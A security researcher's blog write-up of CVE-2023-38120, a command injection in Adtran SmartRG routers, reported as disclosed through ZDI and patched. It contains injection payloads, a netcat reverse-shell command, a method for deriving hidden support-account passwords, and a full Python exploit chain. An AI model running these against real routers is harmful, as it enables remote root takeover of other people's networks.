Disclaimer: The first thing I will tell you is any actions made by using the code contained in this article are solely your responsibility not mine. This article is written to show you only my methodology, how do I approach routers for finding vulnerabilities and not how to hack into someone’s router.

$ Introduction:
Hello again in this new article. I cooked something special this time ! I found a 0day !
This will be about a specific router called Smart/RG manufactured by AdTran company. This device uses the open source OpenWRT project. What I understood is each ISP can do whatever they want with their equipments. My ISP implemented the OpenWrt in their solutions and they changed/added some features for managing the router, monitoring, remote access and logging…
I will show in this article how I managed to exploit a vulnerability in the router and how I deal with embedded devices in general…
$ Goals:
Throughout this article, you will understand how:
- I found the vulnerability Command injection
- I analyzed the router for credentials / Backdoors / Hidden Users.
- JUCI / LUCI / UCI / UBUS / RPCD / JSON-RPC works.
- Netdata helped me escalate the vulnerability.
- I build the exploit code.
$ The Raaaouter baby !

A description from the manufacturer:
The SR400ac is a carrier-grade Ethernet router, equipped with a Gigabit Ethernet WAN port, a Dual-Band Wi-Fi Access Point using the latest 802.11ac technology, and four Gigabit Ethernet ports for LAN connection.
The SR400ac’s Dual-Band Wi-Fi technology simultaneously uses both the 2.4GHz and 5GHz bands via six internal high-gain antennas fed by six individual high-power amplifiers.
Coupled with the SmartRG AccuBeam technology, the SR400ac delivers high wireless speeds as well as whole-home coverage, even in periods of heavy network use.
Regardless of your IPTV middleware platform, the SR400ac comes fully equipped for the task, with features such as IGMPv2/v3/MLD Snooping and Proxy, Advanced Multicast traffic handling, and dynamic/static VLAN mapping/tagging. The SR400ac assures Quality of Service is maintained in the triple play environment, delivering a high quality UHD IPTV experience.
The hardware seems pretty good right ? but everything is about the software though. Don’t be fooled by the surface ! Let’s look under the hood:
User Interface:


To be honest, I like the UI is pretty well done and it gives you all the details about your traffic. The dashboard you’re seeing is a from an open source project called Netdata. Netdata is designed to collect real-time metrics, such as CPU Usage … Well all activities and display them in intuitive way.

I admit it, it’s a pretty UI they have. However, this Netdata dashboard helped me a lot to escalate my vulnerability !
$ The vulnerability !
This is getting interesting ! If you are familiar with hacking especially hacking IoT devices or routers, you will know that most hackers are not interested in client-side attacks such as XSS, CSRF… But rather in RCEs or Hardware hacking. The common one is to root the device to find internal vulnerabilities like the one I found: Command Injection. Of course you can find all theses mentioned vulnerabilities but most hackers will search first for the ones that have a great impact.
In the world of IoT there are other ways of hacking, doing it the hard way: It’s called “rooting the device”. What you do is you open the device up and you search for a two specific connectors/ports:
- UART
- JTAG
For UART (Universal asynchronous receiver-transmitter) is a serial communication in which the data will be sent bit by bit.


Is really easy to root these device by just using an Arduino or a serial module via USB. The most of time this is my last resort when I can’t find the firmware in internet or a user which allows to me be root on my device that I bought.
The second port is JTAG (Joint Test Action Group). This JTAG is mainly used to verify and testing printed circuit boards to see if there isn’t any bug or something that can crash the system. However, since this port is kept after the manufacture, hackers use it to execute command too but not for testing but for extracting the firmware, change it or to understand better how the device work for further vulnerabilities.

Enough of electronic stuff ! Let’s go to main subject… 🙂
There are numerous topics related to hardware hacking that are beyond the scope of this article. To delve deeper, simply search ‘UART hardware hacking’ in your preferred search engine and explore the wealth of information available.

Let’s go back to our router, shall we?

This is where every researcher go first. That’s what I did too I’m no exception at all. If you are familiar with this, you will know surely what’s coming next. If you don’t know, that’s okay ! That’s the purpose of this article 😉
Running the ping command in the usual manner yields the following result:

The trick here is the IP is concatenated with a real ping command in the router’s OS. Our goal is to inject another command along with the ping command and execute them both.
I tried to inject “;” but it didn’t work. It just didn’t execute. No error, nothing.

I tried different combinations such as :
; id ;
| ls /;
|| ls /;
By trying different payloads, I finally found a way to make it work, is by using:
8.8.8.8 && id
# or
8.8.8.8 -c 1 & id

So I tried to optimize my command. To do so I redirect the ping output command to /dev/null. This is common thing in Linux if want to ignore the output of something the /dev/null is the system garbage.
'' > /dev/null & id
By doing so, the ping command is redirected to a null output and it’s keeping only the result of our command:

Yeah ! Now is much cleaner and better !

This is only our first stage. You might think, ‘Okay, but this is only possible when you have a login/password for that router.’ You’re right! Without first connecting to the router, you can’t perform this attack. Thus, this vulnerability is dependent on credentials, which doesn’t have a significant impact.
You might say again, ‘Hey! You could stop at that point since many routers come with default credentials like admin/admin!’ That’s true to an extent; users often keep these defaults unchanged. But you know, why bother finding vulnerabilities then? We could search for routers using tools that do this for you. We’re not trying to hack routers to perform attacks on people; we are researchers — there’s a big difference. We are trying to delve as deeply as possible. So let’s continue.
$ Analyzing The Router
After finding the vulnerability, I decided to find a way to exploit the router even if an admin has changed the router’s password. For that reason, I had to understand and read the files in the Router hoping to find any juicy information or credential that can lead to something greater.
So the first thing I will do here is to get a shell from the router and perform a search in the filesystem.
You will tell me you can connect using SSH. Yeah ! again you’re right ! But I don’t know why the SSH server can’t allow me to tap enter (Carriage/Return) in the terminal. It’s really annoying to be honest. I don’t know if this is some kind of bug or something like that. Anyway, as always, let’s do it the hard way but before this, I don’t know if you heard about OpenWRT or not ? A brief description will help you to get the idea:
“OpenWrt (from open wireless router) is an open-source project for embedded operating systems based on Linux, primarily used on embedded devices to route network traffic. The main components are Linux, util-linux, musl,[4] and BusyBox. All components have been optimized to be small enough to fit into the limited storage and memory available in home routers.”
So, it’s a Linux made for embedded device especially for routers. You see ? Linux is everywhere !
I don’t know if you ever tried to make a machine (Windows/Linux) to connect back to your computer ? There is a popular tool for that purpose called nc (Netcat). Netcat is very well known tool among the hackers community. It allows you to connect to a remote machine or make a machine to connect back to your computer. This we call it a reverse shell.
In my VM I will open the port 2222
nc -lvp 2222

In the router we will use our vulnerability to make the router connects back to my VM.
'' > /dev/null & nc 192.168.1.253 2222 -e /bin/sh &

Once you’ve done that, your terminal will have access to the router’s shell:

From that point I begun to analyze each file in the system, trying to find credentials such as private keys, passwords… I also read about OpenWrt, how you configure it and how developers are using it. It helped me a lot to understand the configuration files and where to find juicy things.
First things first, you know where to look when you are in a system ? The /etc/passwd and /etc/shadow of course ! When I did a cat of “passwd” file I was shocked that there are users that are not visible in the router’s admin page. The question why are they hidden ?
root:x:0:0:root:/root:/bin/bash
admin:x:0:0:admin:/var:/usr/bin/clish
support:x:0:0:support:/var:/usr/bin/clish
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
sshd:x:22:22:sshd:/var/empty:/bin/false
lldp:x:121:129:lldp:/var/run/lldp:/bin/false
rpc:x:65533:65533:rpc:/var/run/rpc:/bin/false
avahi:x:105:105:avahi:/var/run/avahi:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
ironhat:x:0:0:ironhat:/var:/usr/bin/clish
mysmartrg:x:0:0:mysmartrg:/var:/bin/false
http:x:100:100:http:/var/run/http:/bin/false
As you can see, thee is the root, admin, support and mysmartrg users. I think the root user can’t be changed through admin page (I’m not sure though !) but support user and mysmartrg are very suspicious. I went by each folder and searched for those users why they are not visible. I found out that the support user is hidden from the admin page because of a configuration file in OpenWRT.
I searched for the router’s manual in internet and I found this:

There is not only the admin user but also a support user that came with the default router setup. As mentioned in the official manual, the password is the last 3 Octects from the MAC address.

The irony is this user is not visible in the admin page:

You know the impact of this ??? The ISP hid the support user from the frontend but kept it in the system. The owner of the router just can’t see the user in the admin page nor change its password.
Anyone who wants to protect and secure his router from attackers and just changed the admin password, unfortunately is just not enough ! I don’t know if this user is used by the ISP or not but one thing is sure, this isn’t the best approach how it should be done !
Next, there is this mysterious user “mysmartrg“. This user is not visible too in the admin page. I think this user is used for monitoring purpose like Netdata or CloudShark. There are logs that are sent to the cloud. Is it related to that particular user ? I don’t know ! to be honest and that’s not our problem for now. Let’s continue !
I searched for “mysmartrg” in the system files and found an interesting script:
user="mysmartrg"
if [ -e /etc/mfginfo.sh ]; then
source /etc/mfginfo.sh
if [ ${MFG_MODEL} ] && [ ${MFG_SERIAL} ]; then
pass=${MFG_MODEL}-${MFG_SERIAL}
fi
fi

So now we understand how this user’s password is generated “ModelNumber-SerialNumber“. What we can do with that ? Haha ! You know so many nasty stuff !! But just don’t ! 😉
$ JUCI / LUCI / UCI / UBUS / RPCD / JSON-RPC What the F**K is this ?
JUCI is a an alternative of LUCI. Just put in mind that these tools are a Web Interface for embedded routers that’s all. They allow you to control your device by making calls to the router using a custom Javascript. In Smart/RG routers these commands are transmitted through a Json-RPC Websocket protocol. Once received by some of router’s daemon they are sent to a specific shell script that tests which part of the router should be activated or deactivated using UBUS or simple Linux commands.
I’m not an expert in OpenWrt. I wrote what I understood. Didn’t make copy/paste on that 😛
For more info about these elements:
UCI (Unified Configuration Interface)

Why all these definitions ?
As I said, all these elements are a part of the OpenWrt internals which allow the router to understand what you wanna do with the router. In general, what the user really sees from the browser is just the JUCI/LUCI and Json-RPC part, everything else is in the background. The router has an http path called “/websocket” where it receives all the coming requests in JsonRPC. Smart/RG router doesn’t communicate using the standard http requests that we all know (POST/GET … ).
Websocket is a TCP communication in full-duplex (sending and receiving packets). The router use a smart way to communicate with the router’s internal components. Let’s dig it up a bit:

The client and the server in our case is the same equipment since the Web Interface is stored in a directory of the router’s system file. The index page loads all the necessary Javascript libraries. I could use JsonRPC to send the request to itself containing what the user chose and applied from the web interface as parameters. All of these are wrapped in Websocket and sent through what we call JsonRPC (JSON Remote Procedure Call).

The router has a daemon called RPCD that waits for these type of calls. It translates every request and execute the corresponding script in the router.
Here below all the Javascript loaded in the router’s login page:

Since the command injection found earlier concerns a ping command, this is how its code looks like in Javascript:
JUCI.app.controller("StatusDiagnostics", function($scope, $rpc, $network) {
$scope.data = {};
$network.getNetworks().done(function(nets) {
$scope.data.allInterfaces = nets.map(function(x) {
return {
label: x[".name"],
value: x[".name"]
}
});
$scope.$apply()
});
$scope.onTraceTest = function() {
$rpc.juci.diagnostics.traceroute({
host: $scope.data.traceHost
}).done(function(result) {
if (result.stderr) $scope.data.traceError = result.stderr;
$scope.data.traceResults = result.stdout;
$scope.$apply()
}).fail(function(error) {
$scope.data.traceResults = "";
$scope.data.traceError = JSON.stringify(error);
$scope.$apply()
})
};
$scope.onPingTest = function() {
$scope.data.pingResults = "...";
$scope.data.error = "";
$rpc.juci.diagnostics.ping({
host: $scope.data.pingHost
}).done(function(result) {
if (result.stderr) $scope.data.pingError = result.stderr;
$scope.data.pingResults = result.stdout;
$scope.$apply()
}).fail(function(error) {
$scope.data.pingResults = "";
$scope.data.pingError = JSON.stringify(error);
$scope.$apply()
})
}
});
Yes ! JUCI uses angular library, kind of customized one dedicated for the embedded routers. So the ping function get the host parameter from the text field and send it through a JsonRPC websocket.
Let’s analyze the Websocket traffic:

- The first request is initiated by the user when he presses login button.
- If you noticed, there is no POST or GET. The login process is like a handshake. The first request looks like this:
{jsonrpc: "2.0", id: 15, method: "challenge", params: ["admin"]}
The meaning of each section of this JSON data:
- The JsonRPC version number 2.0
- The ID is just a unique ID for websocket channel.
- The method you want to use. Challenge method in this case.
- Params contains the username that we want to login with.
For more info about the JsonRPC protocol used in this router, here is the link: https://github.com/mkschreder/orangerpcd
The answer that we received from the server contains:
{jsonrpc: "2.0", id: 15, result: {token: "35f6abd5", salt: "vrdCz1TS"}}
The response is interesting. It does contain two important values: Token and Salt. To understand what’s the purpose of these two values, we have to look into the Javascript code:
RevoRPC.prototype.$login = function(username, password) {
if (username && username.username != undefined) {
password = username.password;
username = username.username;
}
var self = this;
var def = $.Deferred();
self.$challenge(username).done(function(resp) {
console.log("login: got challenge: " + JSON.stringify(resp));
var sha = new jsSHA("SHA-1","TEXT");
var pwhash = new jsSHA("SHA-1","TEXT");
pwhash.update(password);
sha.update(resp.token);
sha.update(pwhash.getHash("HEX"));
var response = self.$response(password, resp.salt, resp.token);
self.$request("login", [username, response.response, response.challenge]).done(function(resp) {
console.log("login: " + JSON.stringify(resp));
if (resp.success) {
$juci.loggedin = true;
sessionStorage.setItem("sid", resp.success);
UCI.$sync("mfgmode").done(function() {
$juci.config.mfgmode = UCI.mfgmode && UCI.mfgmode.mfgmode && UCI.mfgmode.mfgmode.enabled ? UCI.mfgmode.mfgmode.enabled.value : false;
if ($juci.config.mfgmode) {
self.$logout();
def.reject("Device Manufacture Incomplete: Login Disabled")
} else
def.resolve(resp.success)
}).fail(function() {
def.resolve(resp.success)
})
}
if (resp.error)
def.reject()
}).fail(function() {
def.reject()
})
}).fail(function() {
def.reject()
});
return def.promise()
}
The two interesting lines are:
var sha = new jsSHA("SHA-1","TEXT");
var pwhash = new jsSHA("SHA-1","TEXT");
The router uses SHA-1 to make the authentication. SHA-1 is very known algorithm especially in Linux/Unix. This algorithm is used to generate the password hash that we see in the /etc/shadow file.
So, after receiving the token and the salt, we generate a SHA-1 hash with the password entered by the user.
So the steps to login are:
- creates a new jsSHA object using the SHA-1 algorithm and in TEXT input format.
- Updates the password to be hashed.
- Updates the token to be hashed.
- Updates the final result with the password’s hash in HEX format
The process is not yet finished since the token and the salt that we received should be used to generate the same hash that exists in the shadow file in the router’s file system.
The function responsible for that is below:
RevoRPC.prototype.$response = function(password, salt, challenge) {
var result = {};
result.hash = md5crypt(password, salt);
var s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
result.challenge = Array(32).join().split(",").map(function() {
return s.charAt(Math.floor(Math.random() * s.length))
}).join("");
result.response = md5(result.challenge + challenge + result.hash);
return result
}
Md5Crypt create a Linux hash the same one as Linux does with the passwd command. We give the salt, the password and the function make the cooking. The result contains two values:
- The challenge which is the SHA-1 found in the shadow file
- the md5 hash to check for the challenge integrity.
So, when everything is ready the router wrap it up and send it to his Websocket. The request looks like that:
{"jsonrpc":"2.0","id":16,"method":"login","params":["admin","1d4c629fb7a215fc22d159125727f1f5","xWae5q5H18yk8PGWxgF6iSbznfVffadf"]}
The SHA-1 value is compared internally with the SHA-1 in the shadow file. If it does match a session key is returned if not an EACCESS is returned which means “Authentication Error”
{"jsonrpc":"2.0","id":16,"error":{"code":"EACCESS"}}
So now you understand the inner workings of the router’s authentication mechanism. Let’s see the last step before the final exploit.

$ Your Router talks too much
If you remember earlier, I showed you some scripts that contain some authentication mechanism and how the password is generated for “mysmartrg” user. We also know that the password is a combination of the serial number + model number
pass=${MFG_MODEL}-${MFG_SERIAL}
Do you remember when I said how Netdata helped me to get what I wanted from the router to build the exploit. I think this is the best example to show you how just a simple information disclosure can be chained with other bugs to increase the impact of the vulnerability and that’s exactly what I did.
The router contain in CGI-BIN folder a file that disclose the router’s Mac address. We all know that there are many tools in Internet that perform an IP scan and get the MAC address. The most used network scanner is Nmap. However, in my case I didn’t use it. I wanted to step up the game a little further and use what the router offers.
In fact, what you see in the router’s dashboard is Netdata pages that was included. Netdata has many pages that you can access to them without any authentication mechanism. The most interesting ones in our case are:
- /status.html
- /cgi-bin/status binary

Status.html

Is this a vulnerability, an information disclosure. Maybe yeah maybe not who knows ? But It did help a lot…
I preferred to use cgi-bin binary because it gives a JSON output and it was easy to parse the output using python request library.
We have now all the elements to build our exploit. We have to go through of each step described in this above to be able to exploit the vulnerability. The exploit code will perform a series of action described in the below sequence diagram:

I think now you are ready to do some hacking stuff. Let’s go to the last chapter 😛
$ Time to hack:
We are now reaching the final step of the article: The exploitation code. I built the exploit using python. I called the code DaftRG or StupidRG (Ironic name).
#-------------------------| Netcat |---------------------------#
if sys.version_info.major == 2:
def b2s(x):
"""convert bytes to str"""
return x
def s2b(x):
"""convert str to bytes"""
return x
def binread(s, n):
"""read bytes from stream"""
return s.read(n)
def binwrite(s, data):
"""write bytes to stream"""
return s.write(data)
else:
def b2s(x):
"""convert bytes to str"""
if isinstance(x, str): return x
return x.decode("utf8")
def s2b(x):
"""convert str to bytes"""
if isinstance(x, bytes): return x
return x.encode("utf8")
def binread(s, n):
"""read bytes from stream"""
if hasattr(s, "mode") and "b" in s.mode:
return s.read(n)
elif hasattr(s, "buffer"):
return s.buffer.read(n)
else:
return s2b(s.read(n))
def binwrite(s, data):
"""write bytes to stream"""
if hasattr(s, "mode") and "b" in s.mode:
return s.write(data)
elif hasattr(s, "buffer"):
return s.buffer.write(data)
else:
return s.write(b2s(data))
xrange = range
def server(port, udp = False, term = None, io = None):
set_nonblocking(get_io(io)[0].fileno())
sock = create_socket(udp)
sock.setsockopt(S.SOL_SOCKET, S.SO_REUSEADDR, 1)
sock.bind(('', int(port)))
if not udp:
sock.listen(1); clientsock, addr = sock.accept()
print("[*] Success ! Try your first command !")
print("---------------------------------\n")
handle_io(clientsock, term = term, io = io)
def create_socket(udp = False):
return S.socket(S.AF_INET, S.SOCK_DGRAM if udp else S.SOCK_STREAM)
def handle_io(sock, udp = False, addr = None, term = None, io = None):
i, o = get_io(io)
try:
while term is None or not term.is_set():
sin = [sock,i] if (not udp or addr) and not i.closed else [sock]
rs, _, _ = select.select(sin, [], [])
if sock in rs:
data, clientaddr = sock.recvfrom(4096)
if not data:
return CLOSED_SOCK
binwrite(o, data); o.flush()
if i in rs:
data = binread(i, 4096)
if udp: sock.sendto(data, addr)
else: sock.sendall(data)
print("=>(root)# ", end='')
except ConnectionResetError:
sys.exit()
finally:
sock.close()
CLOSED_SOCK = "__CLOSED_SOCK__"
def get_io(io):
return (sys.stdin, sys.stdout) if io is None else io
def set_nonblocking(fd):
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def listen(port):
try:
io = None
print("[*] Waiting for the router...")
server(port, False, io = io)
except KeyboardInterrupt:
return 1
return 0
This part of code is a server socket that will start listening for the incoming connection. In this case we are waiting for the router to connect back to our machine. The code open a socket on the port that you passed as a parameter. It handles the connection, I/O and the data conversion. The code is not mine I found it on Github (Netcat Python) and I customized it to keep only the part that I needed for my exploit.
def get_challenge(ws):
challenge_query = {
"jsonrpc": "2.0",
"id": 1,
"method": "challenge",
"params": [
support_user
]
}
ws.send(json.dumps(challenge_query))
challenge_result = json.loads(ws.recv())['result']
token = challenge_result['token']
salt = challenge_result['salt']
return token, salt
def md5crypt(password, salt):
return crypt.crypt(password, f'$1${salt}$')
def response(password, salt, token):
result = {}
result['hash'] = md5crypt(password, salt)
s = string.ascii_letters + string.digits
result['challenge'] = ''.join(random.choices(s, k=32))
result['response'] = hashlib.md5(
(result['challenge'] + token + result['hash']).encode('utf-8')).hexdigest()
return result
def build_unix_hash(password, salt, token):
sha = hashlib.sha1()
pwhash = hashlib.sha1()
pwhash.update(password.encode())
sha.update(token.encode())
sha.update(pwhash.hexdigest().encode())
result = response(password, salt, token)
return result
def get_mac_address(ip, port='80'):
response = requests.get(f"http://{ip}:{port}{status_url}").json()
device_mac = response['MFG_INFO']['MFG_MAC']
return device_mac[9:]
This next part of code is how I generate the SHA-1 hash by requesting a challenge and performing some crypto stuff. How I did this ? I read the Javascript code and made a python version. All the answers are in the Javascript section above.
Basically, I created the same authentication mechanism the router uses in typical standard scenario:
- Sending the request for challenge with username
- Building the hashes from that token using the information gathered from the MAC address
The last part is the execution of these steps above:
def get_websocket(ip, port):
ws = create_connection(f"ws://{ip}:{port}/websocket/")
if not ws:
print ("[!] Couldn't connect to the router")
return
return ws
def get_router_session(router_ip, router_port):
ws = get_websocket(router_ip, router_port)
if not ws:
sys.exit()
else:
default_password = get_mac_address(router_ip, router_port)
token, salt = get_challenge(ws)
result = build_unix_hash(default_password, salt, token)
print("[*] Getting session key from the router")
session = get_session_key(ws, result['challenge'], result['response'])
return ws, session
def exploit(device_ip, device_port, reverse_ip, reverse_port):
ws, session_key = get_router_session(device_ip, device_port)
if session_key:
cmd_inj = f"''>/dev/null & nc {reverse_ip} {reverse_port} -e /bin/sh &"
ping_query = {
"jsonrpc":"2.0",
"id":5,
"method":"call",
"params": [
session_key,
"/juci/smartrg.diagnostics",
"ping", {
"host": cmd_inj
}
]
}
ws.send(json.dumps(ping_query))
- We are opening a websocket session.
- I send the data that I built through get_router_session function and getting a valid session key.
- The exploit function send the payload after getting all the necessary data.
After executing the code, the result is this:

Oouf ! Happy now ? 😛
I reported this to ZDI, and they took the responsibility to inform the vendor about the 0day and followed up with them. Fortunately, it was patched and secured in SmartOS 12.1.13.1 version. The impact of this was significant; attackers could exploit devices behind the router or manipulate DNS traffic. Imagine the situation if a ransomware or a wormable program attacked the entire area where these routers are found…

Here is the CVE-2023-38120 given for this. Thanks for ZDI as well for their help.
Exploitation code in here
I want to clarify that all parties involved in this security vulnerability are aware of my intention to publish this article. Therefore, there are no concerns or issues regarding the disclosure of this information. The entire process is transparent and authorized, ensuring an ethical and responsible publication.
$ Solution:
There are two ways to secure this:
- The first one, and it’s the best one, is to patch the flaw by installing the new version of SmartOS in here
- The second one, and this is just a workaround, is to disable “Enable WAN HTTP” access that comes by default for maintenance reasons. You can enable this when you are in call with the ISP support team and disable it right after finishing the call.
- Replace the router completely 😁I used this approach when there was no fix. I change the router mode to an access point mode and disable the Enable WAN HTTP.

$ Conclusion:
I hope that through this article you have a better understanding of the impact of simple vulnerability and how it can be harmful for the user as well as for the company and it’s reputation. I was surprised that Adtran took this seriously and released a fix because vendors are usually not interested to fix something outdated. Anyway, outdated or not, what I like in hacking is the critical thinking, asking myself questions and try to find answers…
Hit me up on social networks or just leave some comments in the section below. See you next time, keep on hacking 😎 !
$ References:
https://forum.openwrt.org/
https://en.wikipedia.org/wiki/Embedded_operating_system
https://en.wikipedia.org/wiki/Embedded_system
https://github.com/mkschreder/juci
https://openwrt.org/docs/techref/ubus
https://openwrt.org/docs/guide-user/base-system/uci
https://en.wikipedia.org/wiki/JSON-RPC
https://en.wikipedia.org/wiki/WebSocket
https://github.com/mkschreder/orangerpcd
https://en.wikipedia.org/wiki/SHA-1
https://netcat.sourceforge.net/
Categories: IoT Security Research
Leave a Reply